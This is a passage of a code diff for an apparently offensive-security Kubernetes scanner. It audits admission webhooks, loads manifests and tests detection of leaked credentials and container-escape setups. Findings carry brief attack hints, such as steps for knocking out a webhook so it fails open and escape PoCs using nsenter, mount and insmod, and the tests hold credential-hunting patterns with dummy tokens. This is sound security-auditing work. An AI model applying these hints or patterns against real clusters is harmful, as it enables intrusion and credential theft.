can't be replayed broadly.", + references=[ + "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/", + "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html", + ], + )) + + return findings diff --git a/kuberoast/scanners/webhooks.py b/kuberoast/scanners/webhooks.py new file mode 100644 index 0000000..4270a24 --- /dev/null +++ b/kuberoast/scanners/webhooks.py @@ -0,0 +1,114 @@ +"""Admission webhook bypass audit. + +Validating/Mutating admission webhooks gate all writes to a cluster. If +a webhook has `failurePolicy: Ignore`, an attacker who can take its +backing service offline (DoS, scale to zero, delete service) bypasses +the policy entirely. Webhooks with absurdly long timeoutSeconds give the +attacker a wide window. Webhooks with sideEffects=Some + dryRun unset +are an availability issue too. + +This scanner does *not* delete or scale services. It identifies the +webhooks an attacker would target to bypass policy. +""" +from typing import List +from ..utils.findings import Finding + + +def _audit_webhook(wh, parent_name: str, kind: str) -> List[Finding]: + findings: List[Finding] = [] + name = getattr(wh, "name", parent_name) + failure_policy = getattr(wh, "failure_policy", None) or "Fail" + timeout = getattr(wh, "timeout_seconds", None) + side_effects = getattr(wh, "side_effects", None) + + if failure_policy == "Ignore": + findings.append(Finding( + id="WEBHOOK-FAIL-OPEN", + title=f"{kind} webhook with failurePolicy=Ignore", + description=( + f"Webhook {parent_name}/{name} has failurePolicy: Ignore. " + "If the backing service is unreachable (DoS, scaled to 0, deleted), the admission " + "decision becomes a default-allow — every gated rule is bypassable." + ), + severity="high", + category="Webhooks", + resource=f"{kind.lower()}/{parent_name}", + exploitability="moderate", + exploit=( + "# 1. Identify the backing service from webhook.clientConfig.service\n" + "# 2. Determine if you can disrupt it (delete, scale to 0, exhaust resources)\n" + "# 3. Once disrupted, the policy fails open and your admission request succeeds" + ), + impact="Policy enforcement bypassed during webhook outage. Attacker can deploy non-compliant workloads, escalate via privileged pods, etc.", + attack_techniques=["T1562.001"], + remediation="Set failurePolicy: Fail. If availability is a concern, run the webhook as a highly-available deployment with PDBs.", + references=[ + "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#failure-policy", + "https://attack.mitre.org/techniques/T1562/001/", + ], + )) + + if timeout and timeout >= 15: + findings.append(Finding( + id="WEBHOOK-SLOW-TIMEOUT", + title=f"{kind} webhook with long timeout ({timeout}s)", + description=( + f"Webhook {parent_name}/{name} sets timeoutSeconds={timeout}. " + "Long timeouts widen the window for a slow-loris style DoS that triggers failurePolicy." + ), + severity="medium" if failure_policy == "Ignore" else "low", + category="Webhooks", + resource=f"{kind.lower()}/{parent_name}", + exploitability="moderate" if failure_policy == "Ignore" else "hard", + exploit="# Generate many concurrent admission requests to saturate the webhook server", + impact="Combined with failurePolicy: Ignore, easier to trigger bypass via DoS.", + remediation="Set timeoutSeconds to a small value (1-3s) and run the webhook backend HA.", + references=["https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/"], + )) + + if side_effects in ("Unknown", "Some"): + findings.append(Finding( + id="WEBHOOK-SIDE-EFFECTS", + title=f"{kind} webhook declares sideEffects={side_effects}", + description=( + f"Webhook {parent_name}/{name} has sideEffects={side_effects}. " + "Dry-run requests must be supported (NoneOnDryRun) — otherwise dry-run tooling will skip the webhook, " + "which can be abused to inspect admission decisions without triggering audit." + ), + severity="low", + category="Webhooks", + resource=f"{kind.lower()}/{parent_name}", + exploitability="hard", + impact="Reconnaissance — attacker can probe admission rules via dry-run without firing webhook audit logs.", + remediation="Set sideEffects: None or NoneOnDryRun and ensure the webhook is idempotent.", + references=["https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#side-effects"], + )) + + # CA bundle absence + cc = getattr(wh, "client_config", None) + if cc is not None and not getattr(cc, "ca_bundle", None): + findings.append(Finding( + id="WEBHOOK-NO-CA", + title=f"{kind} webhook lacks caBundle", + description=f"Webhook {parent_name}/{name} has no caBundle — TLS to the webhook service is unverified.", + severity="medium", + category="Webhooks", + resource=f"{kind.lower()}/{parent_name}", + exploitability="hard", + impact="An attacker on-path between the API server and the webhook service could intercept admission requests.", + remediation="Populate caBundle (often managed by cert-manager + cainjector).", + references=["https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/"], + )) + + return findings + + +def scan_webhooks(validating, mutating) -> List[Finding]: + findings: List[Finding] = [] + for vw in (validating or []): + for wh in (getattr(vw, "webhooks", None) or []): + findings.extend(_audit_webhook(wh, vw.metadata.name, "ValidatingWebhookConfiguration")) + for mw in (mutating or []): + for wh in (getattr(mw, "webhooks", None) or []): + findings.extend(_audit_webhook(wh, mw.metadata.name, "MutatingWebhookConfiguration")) + return findings diff --git a/kuberoast/utils/colors.py b/kuberoast/utils/colors.py new file mode 100644 index 0000000..7645b83 --- /dev/null +++ b/kuberoast/utils/colors.py @@ -0,0 +1,64 @@ +"""Tiny ANSI color helper — no external deps, respects NO_COLOR + non-TTY.""" +import os +import sys + +_SUPPORTS = sys.stdout.isatty() and "NO_COLOR" not in os.environ and os.environ.get("TERM") != "dumb" + + +def _wrap(code: str): + def fn(s: str) -> str: + if not _SUPPORTS: + return s + return f"\033[{code}m{s}\033[0m" + return fn + + +bold = _wrap("1") +dim = _wrap("2") +red = _wrap("31") +green = _wrap("32") +yellow = _wrap("33") +blue = _wrap("34") +magenta = _wrap("35") +cyan = _wrap("36") +gray = _wrap("90") +red_bold = _wrap("1;31") +orange = _wrap("38;5;208") # 256-color orange +yellow_bold = _wrap("1;33") + + +SEVERITY_COLORS = { + "critical": red_bold, + "high": orange, + "medium": yellow, + "low": cyan, + "info": gray, +} + +EXPLOIT_COLORS = { + "trivial": red_bold, + "easy": orange, + "moderate": yellow, + "hard": gray, + "theoretical": dim, +} + + +def sev(label: str) -> str: + fn = SEVERITY_COLORS.get(label.lower(), lambda s: s) + return fn(label.upper()) + + +def exploit(label: str) -> str: + fn = EXPLOIT_COLORS.get(label.lower(), lambda s: s) + return fn(label) + + +def supported() -> bool: + return _SUPPORTS + + +def force_disable(): + """For tests / piped output.""" + global _SUPPORTS + _SUPPORTS = False diff --git a/kuberoast/utils/findings.py b/kuberoast/utils/findings.py index 6d05749..f433070 100644 --- a/kuberoast/utils/findings.py +++ b/kuberoast/utils/findings.py @@ -2,6 +2,8 @@ from typing import List, Optional, Literal, Dict Severity = Literal["info","low","medium","high","critical"] +Exploitability = Literal["trivial","easy","moderate","hard","theoretical"] + class Finding(BaseModel): id: str @@ -14,3 +16,8 @@ class Finding(BaseModel): metadata: Dict[str, str] = Field(default_factory=dict) remediation: Optional[str] = None references: List[str] = Field(default_factory=list) + + exploitability: Optional[Exploitability] = None + exploit: Optional[str] = None + impact: Optional[str] = None + attack_techniques: List[str] = Field(default_factory=list) diff --git a/kuberoast/utils/kube.py b/kuberoast/utils/kube.py index dd676c4..f7437f9 100644 --- a/kuberoast/utils/kube.py +++ b/kuberoast/utils/kube.py @@ -14,9 +14,11 @@ def load_clients(kubeconfig: Optional[str] = None) -> Dict[str, Any]: return { "core": client.CoreV1Api(), "apps": client.AppsV1Api(), + "batch": client.BatchV1Api(), "rbac": client.RbacAuthorizationV1Api(), "networking": client.NetworkingV1Api(), "apiextensions": client.ApiextensionsV1Api(), + "admission": client.AdmissionregistrationV1Api(), "version": client.VersionApi(), } @@ -110,3 +112,69 @@ def list_all_crds(apiext) -> List: logger.warning("Insufficient permissions to list CRDs (HTTP %d) — skipping policy engine scan", e.status) return [] raise + + +def _safe_list(call, kind: str, **kwargs) -> List: + try: + return _paginate(call, **kwargs) + except ApiException as e: + if e.status in (401, 403): + logger.warning("Insufficient permissions to list %s (HTTP %d) — skipping", kind, e.status) + return [] + raise + + +def list_all_configmaps(core, namespace: Optional[str] = None) -> List: + if namespace: + return _safe_list(core.list_namespaced_config_map, "configmaps", namespace=namespace) + return _safe_list(core.list_config_map_for_all_namespaces, "configmaps") + + +def list_all_deployments(apps, namespace: Optional[str] = None) -> List: + if namespace: + return _safe_list(apps.list_namespaced_deployment, "deployments", namespace=namespace) + return _safe_list(apps.list_deployment_for_all_namespaces, "deployments") + + +def list_all_statefulsets(apps, namespace: Optional[str] = None) -> List: + if namespace: + return _safe_list(apps.list_namespaced_stateful_set, "statefulsets", namespace=namespace) + return _safe_list(apps.list_stateful_set_for_all_namespaces, "statefulsets") + + +def list_all_daemonsets(apps, namespace: Optional[str] = None) -> List: + if namespace: + return _safe_list(apps.list_namespaced_daemon_set, "daemonsets", namespace=namespace) + return _safe_list(apps.list_daemon_set_for_all_namespaces, "daemonsets") + + +def list_all_jobs(batch, namespace: Optional[str] = None) -> List: + if namespace: + return _safe_list(batch.list_namespaced_job, "jobs", namespace=namespace) + return _safe_list(batch.list_job_for_all_namespaces, "jobs") + + +def list_all_cronjobs(batch, namespace: Optional[str] = None) -> List: + if namespace: + return _safe_list(batch.list_namespaced_cron_job, "cronjobs", namespace=namespace) + return _safe_list(batch.list_cron_job_for_all_namespaces, "cronjobs") + + +def list_validating_webhooks(admission) -> List: + try: + return admission.list_validating_webhook_configuration().items or [] + except ApiException as e: + if e.status in (401, 403): + logger.warning("Insufficient permissions to list validating webhook configurations (HTTP %d) — skipping", e.status) + return [] + raise + + +def list_mutating_webhooks(admission) -> List: + try: + return admission.list_mutating_webhook_configuration().items or [] + except ApiException as e: + if e.status in (401, 403): + logger.warning("Insufficient permissions to list mutating webhook configurations (HTTP %d) — skipping", e.status) + return [] + raise diff --git a/kuberoast/utils/manifests.py b/kuberoast/utils/manifests.py new file mode 100644 index 0000000..bd98a84 --- /dev/null +++ b/kuberoast/utils/manifests.py @@ -0,0 +1,153 @@ +"""Shift-left manifest loader. + +Walks a directory of YAML/JSON manifests and produces objects with the +same attribute shape that the live K8s client returns, so the existing +scanners work unchanged. Handles: + + * multi-document YAML (---) + * Helm rendered output (skips non-K8s docs) + * Kustomize built output + * camelCase → snake_case conversion (matching kubernetes-python's quirks) + +We don't load yaml at import time — pyyaml is optional. Callers that pass +--manifests get a clear error if pyyaml isn't installed. +""" +import json +import os +import re +from pathlib import Path +from types import SimpleNamespace +from typing import Any, Dict, Iterable, List, Tuple + + +# The K8s Python client uses idiomatic snake_case for most fields but has +# specific quirks. We mirror them so scanners that already work against +# live clusters work against manifest input too. +SPECIAL_FIELD_MAP = { + "externalIPs": "external_i_ps", + "ipFamilyPolicy": "ip_family_policy", + "loadBalancerIP": "load_balancer_ip", + "publishNotReadyAddresses": "publish_not_ready_addresses", +} + + +_FIRST_CAP = re.compile(r"([a-z0-9])([A-Z])") +_RUN_CAP = re.compile(r"([A-Z]+)([A-Z][a-z])") + + +def _to_snake(name: str) -> str: + if name in SPECIAL_FIELD_MAP: + return SPECIAL_FIELD_MAP[name] + s = _FIRST_CAP.sub(r"\1_\2", name) + s = _RUN_CAP.sub(r"\1_\2", s) + return s.lower() + + +# Fields that the kubernetes-python client keeps as raw dicts (maps), not as +# typed sub-objects. Scanners iterate these with .items(), so we must not +# convert them to SimpleNamespace. Keyed by snake_case field name. +_DICT_FIELDS = { + "labels", "annotations", "data", "binary_data", "string_data", + "selector", "node_selector", "match_labels", + "limits", "requests", # resource quantities; stay as dict for easy access + "node_affinity_preset", "tolerations_preset", +} + + +def _convert(node: Any, field_name: str = "") -> Any: + """Recursively convert dict keys camelCase→snake_case and dicts→SimpleNamespace. + + Known map-shaped fields (labels, data, etc.) remain plain dicts so + scanners can call .items() on them. Everything else becomes a + SimpleNamespace mirroring the K8s python client's typed sub-objects. + """ + if isinstance(node, dict): + snake = _to_snake(field_name) if field_name else "" + if snake in _DICT_FIELDS: + # leave as a plain dict so .items()/.get() work + return {k: v for k, v in node.items()} + return SimpleNamespace(**{_to_snake(k): _convert(v, k) for k, v in node.items()}) + if isinstance(node, list): + return [_convert(v) for v in node] + return node + + +def _looks_like_k8s(doc: dict) -> bool: + return isinstance(doc, dict) and "apiVersion" in doc and "kind" in doc + + +def _load_yaml_documents(text: str) -> List[dict]: + try: + import yaml # type: ignore + except ImportError as e: + raise RuntimeError( + "Manifest mode requires PyYAML. Install with: pip install 'kuberoast[manifests]' or pip install pyyaml" + ) from e + docs = [] + for d in yaml.safe_load_all(text): + if d is None: + continue + if isinstance(d, list): + docs.extend(x for x in d if x) + else: + docs.append(d) + return docs + + +def _load_json_documents(text: str) -> List[dict]: + parsed = json.loads(text) + if isinstance(parsed, list): + return [p for p in parsed if p] + if isinstance(parsed, dict) and parsed.get("kind") == "List": + items = parsed.get("items") or [] + return list(items) + return [parsed] + + +def _iter_files(root: str) -> Iterable[Path]: + p = Path(root) + if p.is_file(): + yield p + return + for ext in ("*.yaml", "*.yml", "*.json"): + for f in p.rglob(ext): + if f.is_file(): + yield f + + +def load_manifests(path: str) -> Dict[str, List[Any]]: + """Load all manifests under `path`. Returns dict of {Kind: [objects...]}. + + The returned objects are SimpleNamespace trees that mirror the shape + of `kubernetes` client v1 models closely enough for our scanners. + """ + grouped: Dict[str, List[Any]] = {} + for f in _iter_files(path): + text = f.read_text(encoding="utf-8", errors="replace") + try: + if f.suffix == ".json": + docs = _load_json_documents(text) + else: + docs = _load_yaml_documents(text) + except Exception: + # skip unparseable files — common when scanning a mixed Helm chart dir + continue + for d in docs: + # Some Helm output produces nested "items" lists for List kinds + if isinstance(d, dict) and d.get("kind") == "List": + for item in (d.get("items") or []): + _emit(grouped, item) + continue + _emit(grouped, d) + return grouped + + +def _emit(grouped: Dict[str, List[Any]], d: Any) -> None: + if not _looks_like_k8s(d): + return + kind = d.get("kind") + obj = _convert(d) + # Ensure metadata always exists for scanner attribute access + if not hasattr(obj, "metadata"): + obj.metadata = SimpleNamespace(name="?", namespace=None, labels={}, annotations={}) + grouped.setdefault(kind, []).append(obj) diff --git a/kuberoast/utils/workloads.py b/kuberoast/utils/workloads.py new file mode 100644 index 0000000..29da0a8 --- /dev/null +++ b/kuberoast/utils/workloads.py @@ -0,0 +1,98 @@ +"""Synthesize pod-like objects from workload templates. + +Pod-level scanners already understand the shape `pod.spec.containers / ...`. +Rather than rewrite every scanner to be 'workload-aware', we extract the +PodTemplateSpec from each workload kind and synthesize a thin pod-like +object that the existing scanners consume unchanged. + +Findings produced from synthesized pods get the controller kind/name +prepended to the resource string so the operator can tell what they're +looking at. +""" +from types import SimpleNamespace +from typing import List, Tuple, Iterable, Optional + + +WORKLOAD_KINDS = ( + "Deployment", "StatefulSet", "DaemonSet", + "ReplicaSet", "Job", "CronJob", + "ReplicationController", +) + + +def _template_from(workload, kind: str): + """Return (template_metadata, template_spec) for any workload kind, or (None, None).""" + spec = getattr(workload, "spec", None) + if spec is None: + return None, None + if kind == "CronJob": + # spec.jobTemplate.spec.template + job_template = getattr(spec, "job_template", None) + if job_template is None: + return None, None + job_spec = getattr(job_template, "spec", None) + if job_spec is None: + return None, None + template = getattr(job_spec, "template", None) + else: + template = getattr(spec, "template", None) + if template is None: + return None, None + return getattr(template, "metadata", None), getattr(template, "spec", None) + + +def synthesize_pod_from_workload(workload, kind: str): + """Build a pod-like SimpleNamespace from a workload template. + + The synthesized pod preserves the workload's namespace and name, so + findings can clearly attribute back to the controller. We also merge + pod-template annotations with controller-level annotations so AppArmor + annotations (which are pod-template scoped) are visible. + """ + tmpl_meta, tmpl_spec = _template_from(workload, kind) + if tmpl_spec is None: + return None + + wl_meta = getattr(workload, "metadata", None) + ns = getattr(wl_meta, "namespace", None) if wl_meta else None + name = getattr(wl_meta, "name", "?") if wl_meta else "?" + + # Merge annotations: template wins on conflict (AppArmor lives on template) + wl_annots = (getattr(wl_meta, "annotations", None) or {}) if wl_meta else {} + tmpl_annots = (getattr(tmpl_meta, "annotations", None) or {}) if tmpl_meta else {} + merged_annots = {**wl_annots, **tmpl_annots} + + pod_meta = SimpleNamespace( + name=name, + namespace=ns, + annotations=merged_annots, + labels=(getattr(tmpl_meta, "labels", None) or {}) if tmpl_meta else {}, + ) + + # Stamp the controller kind so reporting can adjust the resource string + pod_meta._kuberoast_owner_kind = kind # type: ignore[attr-defined] + pod_meta._kuberoast_owner_name = name # type: ignore[attr-defined] + + return SimpleNamespace(metadata=pod_meta, spec=tmpl_spec) + + +def relabel_workload_findings(findings, kind: str, name: str): + """Rewrite pod/ in resource strings to /.""" + pod_prefix = f"pod/{name}" + new_prefix = f"{kind.lower()}/{name}" + out = [] + for f in findings: + if f.resource and f.resource.startswith(pod_prefix): + f = f.model_copy(update={"resource": new_prefix + f.resource[len(pod_prefix):]}) + out.append(f) + return out + + +def iter_workload_pods(workloads: Iterable, kind: str) -> Iterable[Tuple[object, str, str]]: + """Yield (synthesized_pod, kind, name) for each workload that has a template.""" + for w in workloads: + pod = synthesize_pod_from_workload(w, kind) + if pod is None: + continue + name = getattr(getattr(w, "metadata", None), "name", "?") + yield pod, kind, name diff --git a/pyproject.toml b/pyproject.toml index 1123d15..6caf72b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "kuberoast" -version = "0.2.0" +version = "0.3.0" description = "Offensive Kubernetes misconfiguration & attack-path scanner" readme = "README.md" license = {text = "MIT"} @@ -18,9 +18,13 @@ dependencies = [ ] [project.optional-dependencies] +manifests = [ + "pyyaml>=6.0", +] dev = [ "pytest>=7.0", "pytest-cov>=4.0", + "pyyaml>=6.0", ] [project.scripts] diff --git a/tests/conftest.py b/tests/conftest.py index d180508..c667510 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -1,4 +1,9 @@ -"""Shared test fixtures providing mock Kubernetes objects.""" +"""Shared test fixtures providing mock Kubernetes objects. + +Helpers here intentionally mirror the *shape* of the kubernetes-python +client's snake_case attributes. Scanners use getattr() everywhere so +SimpleNamespace stand-ins are sufficient. +""" import pytest from types import SimpleNamespace @@ -14,7 +19,8 @@ def make_metadata(name="test", namespace="default", labels=None, annotations=Non def make_container(name="app", privileged=False, run_as_user=None, allow_privilege_escalation=None, read_only_root_filesystem=None, - caps_add=None, seccomp_profile=None, limits=None): + caps_add=None, seccomp_profile=None, limits=None, + volume_mounts=None): capabilities = SimpleNamespace(add=caps_add or [], drop=[]) if caps_add else SimpleNamespace(add=[], drop=[]) resources = SimpleNamespace(limits=limits, requests=None) if limits else SimpleNamespace(limits=None, requests=None) sc = SimpleNamespace( @@ -25,17 +31,25 @@ def make_container(name="app", privileged=False, run_as_user=None, capabilities=capabilities, seccomp_profile=seccomp_profile, ) - return SimpleNamespace(name=name, security_context=sc, resources=resources) + return SimpleNamespace( + name=name, + security_context=sc, + resources=resources, + volume_mounts=volume_mounts or [], + ) def make_pod(name="test-pod", namespace="default", containers=None, host_network=False, host_pid=False, host_ipc=False, automount_service_account_token=None, volumes=None, service_account_name="default", annotations=None, - pod_seccomp=None): + pod_seccomp=None, pod_run_as_user=None): if containers is None: containers = [make_container()] - pod_sc = SimpleNamespace(seccomp_profile=pod_seccomp) if pod_seccomp else SimpleNamespace(seccomp_profile=None) + pod_sc = SimpleNamespace( + seccomp_profile=pod_seccomp, + run_as_user=pod_run_as_user, + ) spec = SimpleNamespace( containers=containers, init_containers=[], @@ -54,6 +68,17 @@ def make_pod(name="test-pod", namespace="default", containers=None, ) +def make_volume_mount(name="vol", mount_path="/data", read_only=False): + return SimpleNamespace(name=name, mount_path=mount_path, read_only=read_only) + + +def make_host_path_volume(name="hpvol", path="/var/run/docker.sock"): + return SimpleNamespace( + name=name, + host_path=SimpleNamespace(path=path, type=None), + ) + + def make_namespace(name="default", labels=None): return SimpleNamespace(metadata=make_metadata(name=name, labels=labels)) @@ -65,6 +90,13 @@ def make_role(name="test-role", namespace="default", rules=None, kind="Role"): ) +def make_cluster_role(name="test-clusterrole", rules=None): + return SimpleNamespace( + metadata=SimpleNamespace(name=name, namespace=None, labels={}, annotations={}), + rules=rules or [], + ) + + def make_rule(verbs=None, resources=None, api_groups=None): return SimpleNamespace( verbs=verbs or [], @@ -82,6 +114,15 @@ def make_binding(name="test-binding", role_kind="Role", role_name="test-role", ) +def make_cluster_binding(name="test-crb", role_kind="ClusterRole", role_name="cluster-admin", + subjects=None): + return SimpleNamespace( + metadata=SimpleNamespace(name=name, namespace=None, labels={}, annotations={}), + role_ref=SimpleNamespace(kind=role_kind, name=role_name, api_group="rbac.authorization.k8s.io"), + subjects=subjects or [], + ) + + def make_subject(kind="ServiceAccount", name="default", namespace="default"): return SimpleNamespace(kind=kind, name=name, namespace=namespace) @@ -95,6 +136,14 @@ def make_secret(name="my-secret", namespace="default", secret_type="Opaque", ) +def make_configmap(name="my-cm", namespace="default", data=None, binary_data=None): + return SimpleNamespace( + metadata=make_metadata(name=name, namespace=namespace), + data=data or {}, + binary_data=binary_data or {}, + ) + + def make_service(name="my-svc", namespace="default", svc_type="ClusterIP", load_balancer_source_ranges=None, external_ips=None): return SimpleNamespace( @@ -122,3 +171,56 @@ def make_node(name="node-1", addresses=None): metadata=make_metadata(name=name), status=SimpleNamespace(addresses=addresses), ) + + +def make_deployment(name="my-deploy", namespace="default", template_spec=None, + template_annotations=None): + if template_spec is None: + template_spec = make_pod(name="ignored", namespace=namespace).spec + template_meta = SimpleNamespace( + name=None, + namespace=None, + labels={}, + annotations=template_annotations or {}, + ) + return SimpleNamespace( + metadata=make_metadata(name=name, namespace=namespace), + spec=SimpleNamespace( + template=SimpleNamespace(metadata=template_meta, spec=template_spec), + ), + ) + + +def make_cronjob(name="my-cj", namespace="default", template_spec=None): + if template_spec is None: + template_spec = make_pod(name="ignored", namespace=namespace).spec + job_template = SimpleNamespace( + spec=SimpleNamespace( + template=SimpleNamespace( + metadata=SimpleNamespace(name=None, namespace=None, labels={}, annotations={}), + spec=template_spec, + ), + ), + ) + return SimpleNamespace( + metadata=make_metadata(name=name, namespace=namespace), + spec=SimpleNamespace(job_template=job_template), + ) + + +def make_webhook(name="wh.example.com", failure_policy="Fail", + timeout_seconds=5, side_effects="None", ca_bundle="abc"): + return SimpleNamespace( + name=name, + failure_policy=failure_policy, + timeout_seconds=timeout_seconds, + side_effects=side_effects, + client_config=SimpleNamespace(ca_bundle=ca_bundle, url=None, service=None), + ) + + +def make_webhook_config(name="vw-1", webhooks=None): + return SimpleNamespace( + metadata=SimpleNamespace(name=name, namespace=None, labels={}, annotations={}), + webhooks=webhooks or [], + ) diff --git a/tests/test_configmaps.py b/tests/test_configmaps.py new file mode 100644 index 0000000..d2260c3 --- /dev/null +++ b/tests/test_configmaps.py @@ -0,0 +1,119 @@ +"""Tests for ConfigMap credential hunting. + +Focus: high-signal regexes that catch real-world leaks without false +positives on legitimate config. +""" +from kuberoast.scanners.configmaps import scan_configmaps +from tests.conftest import make_configmap + + +def test_aws_access_key_critical(): + cm = make_configmap(data={"app.env": "AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE"}) + f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-AWS-AKID") + assert f.severity == "critical" + assert f.exploitability == "trivial" + + +def test_pem_private_key_critical(): + cm = make_configmap(data={"tls.key": "-----BEGIN RSA PRIVATE KEY-----\nMIIBOgI...\n-----END RSA PRIVATE KEY-----"}) + ids = {f.id for f in scan_configmaps([cm])} + assert "CM-LEAK-PRIVATE-KEY-PEM" in ids + + +def test_openssh_private_key_critical(): + cm = make_configmap(data={"id_rsa": "-----BEGIN OPENSSH PRIVATE KEY-----\nblob\n-----END OPENSSH PRIVATE KEY-----"}) + ids = {f.id for f in scan_configmaps([cm])} + # Either openssh-specific or generic PEM pattern can fire — both are correct. + assert "CM-LEAK-SSH-PRIVATE" in ids or "CM-LEAK-PRIVATE-KEY-PEM" in ids + + +def test_gcp_service_account_json_critical(): + cm = make_configmap(data={"sa.json": '{"type": "service_account", "project_id": "x"}'}) + f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-GCP-SA-JSON") + assert f.severity == "critical" + + +def test_github_pat_high(): + cm = make_configmap(data={"ci.env": "GITHUB_TOKEN=ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}) + f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-GITHUB-PAT") + assert f.severity == "high" + + +def test_slack_bot_token_high(): + cm = make_configmap(data={"notify.env": "SLACK_TOKEN=xoxb-1234567890-abcdefghijk"}) + f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-SLACK-BOT") + assert f.severity == "high" + + +def test_jdbc_url_with_creds_high(): + cm = make_configmap(data={"app.props": "spring.datasource.url=jdbc:postgresql://db:5432/app?user=root&password=hunter2\njdbc:mysql://user:hunter2@host/db"}) + f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-JDBC-URL") + assert f.severity == "high" + + +def test_url_with_inline_credentials(): + cm = make_configmap(data={"env": "WEBHOOK=https://user:supersecret123@example.com/hook"}) + ids = {f.id for f in scan_configmaps([cm])} + assert "CM-LEAK-GENERIC-URL" in ids + + +def test_plain_password_yaml_flagged(): + cm = make_configmap(data={"app.yaml": "database:\n password: hunter2supersecret\n"}) + ids = {f.id for f in scan_configmaps([cm])} + assert "CM-LEAK-PASSWORD-YAML" in ids + + +def test_apikey_flagged(): + cm = make_configmap(data={"app.yaml": "service:\n api_key: aabbccddeeff112233445566\n"}) + ids = {f.id for f in scan_configmaps([cm])} + assert "CM-LEAK-APIKEY" in ids + + +def test_azure_connection_string_high(): + cm = make_configmap(data={"app.env": "AZ=DefaultEndpointsProtocol=https;AccountName=x;AccountKey=" + "a" * 40 + ";"}) + f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-AZURE-CONN") + assert f.severity == "high" + + +def test_redacts_long_match(): + """Findings must NOT echo the entire credential — only a redacted snippet.""" + big = "x" * 200 + cm = make_configmap(data={"app.env": f"GITHUB_TOKEN=ghp_{big[:36]}"}) + findings = scan_configmaps([cm]) + pat = next(f for f in findings if f.id == "CM-LEAK-GITHUB-PAT") + # Description shows a snippet but not the entire token sequence + assert "ghp_" in pat.description + assert "…" in pat.description # ellipsis indicates redaction + + +def test_system_kube_root_ca_skipped(): + """The auto-generated kube-root-ca.crt ConfigMap is benign — skip it.""" + cm = make_configmap(name="kube-root-ca.crt", data={"ca.crt": "-----BEGIN CERTIFICATE-----\n..."}) + assert scan_configmaps([cm]) == [] + + +def test_no_credential_no_finding(): + cm = make_configmap(data={"log_level": "info", "feature_flag": "true"}) + assert scan_configmaps([cm]) == [] + + +def test_binarydata_with_suspicious_key_name_flagged(): + cm = make_configmap(binary_data={"private_key": "YmFzZTY0"}) + f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-BINARY-SUSPECT") + assert f.severity == "medium" + + +def test_binarydata_benign_name_not_flagged(): + cm = make_configmap(binary_data={"thumbnail.png": "YmFzZTY0"}) + ids = {f.id for f in scan_configmaps([cm])} + assert "CM-LEAK-BINARY-SUSPECT" not in ids + + +def test_one_finding_per_pattern_per_key(): + """Don't spam multiple findings of the same type for the same key.""" + # Two valid-shape AKIDs (AKIA + 16 alnum) in one value should yield one finding + big = "AKIAIOSFODNN7EXAMPLE something AKIAIOSFODNN7EXAMPL2" + cm = make_configmap(data={"creds": big}) + findings = scan_configmaps([cm]) + aws = [f for f in findings if f.id == "CM-LEAK-AWS-AKID"] + assert len(aws) == 1 diff --git a/tests/test_escapes.py b/tests/test_escapes.py new file mode 100644 index 0000000..d221522 --- /dev/null +++ b/tests/test_escapes.py @@ -0,0 +1,227 @@ +"""Tests for container escape primitive analysis. + +These tests are oriented around what an attacker actually does, not what +fields exist. Each test mirrors a real escape technique and asserts both +the finding ID and that the PoC command is populated (operators need it). +""" +from kuberoast.scanners.escapes import scan_escapes +from tests.conftest import ( + make_pod, make_container, make_host_path_volume, make_volume_mount, +) + + +# ---------- Privileged container escapes ---------- + +def test_privileged_plus_hostpid_is_critical_trivial(): + pod = make_pod( + containers=[make_container(privileged=True)], + host_pid=True, + ) + findings = scan_escapes(pod) + f = next(f for f in findings if f.id == "ESC-PRIV-HOSTPID") + assert f.severity == "critical" + assert f.exploitability == "trivial" + assert "nsenter" in (f.exploit or "") + assert "T1611" in f.attack_techniques + + +def test_privileged_plus_hostpid_skips_lesser_findings(): + """Once privileged+hostPID is flagged, no need to also flag ESC-PRIV separately — it short-circuits to keep noise down.""" + pod = make_pod( + containers=[make_container(privileged=True)], + host_pid=True, + ) + ids = {f.id for f in scan_escapes(pod)} + assert "ESC-PRIV-HOSTPID" in ids + assert "ESC-PRIV" not in ids + + +def test_privileged_only_still_critical(): + pod = make_pod(containers=[make_container(privileged=True)]) + findings = scan_escapes(pod) + f = next(f for f in findings if f.id == "ESC-PRIV") + assert f.severity == "critical" + assert f.exploitability == "trivial" + assert f.exploit and "mount" in f.exploit + + +def test_non_privileged_no_escape_flagged(): + pod = make_pod(containers=[make_container(privileged=False)]) + ids = {f.id for f in scan_escapes(pod)} + assert "ESC-PRIV" not in ids + assert "ESC-PRIV-HOSTPID" not in ids + + +# ---------- Capability-based escapes ---------- + +def test_sys_admin_critical_with_exploit(): + pod = make_pod(containers=[make_container(caps_add=["SYS_ADMIN"])]) + findings = scan_escapes(pod) + f = next(f for f in findings if f.id == "ESC-CAP-SYS_ADMIN") + assert f.severity == "critical" + assert f.exploitability == "trivial" + assert f.exploit + + +def test_sys_module_critical(): + pod = make_pod(containers=[make_container(caps_add=["SYS_MODULE"])]) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-CAP-SYS_MODULE") + assert f.severity == "critical" + assert "insmod" in (f.exploit or "") + + +def test_sys_ptrace_without_hostpid_is_hard(): + """SYS_PTRACE without hostPID can only ptrace in-container processes — hard to escape.""" + pod = make_pod( + containers=[make_container(caps_add=["SYS_PTRACE"])], + host_pid=False, + ) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-CAP-SYS_PTRACE") + assert f.exploitability == "hard" + assert f.severity == "medium" + + +def 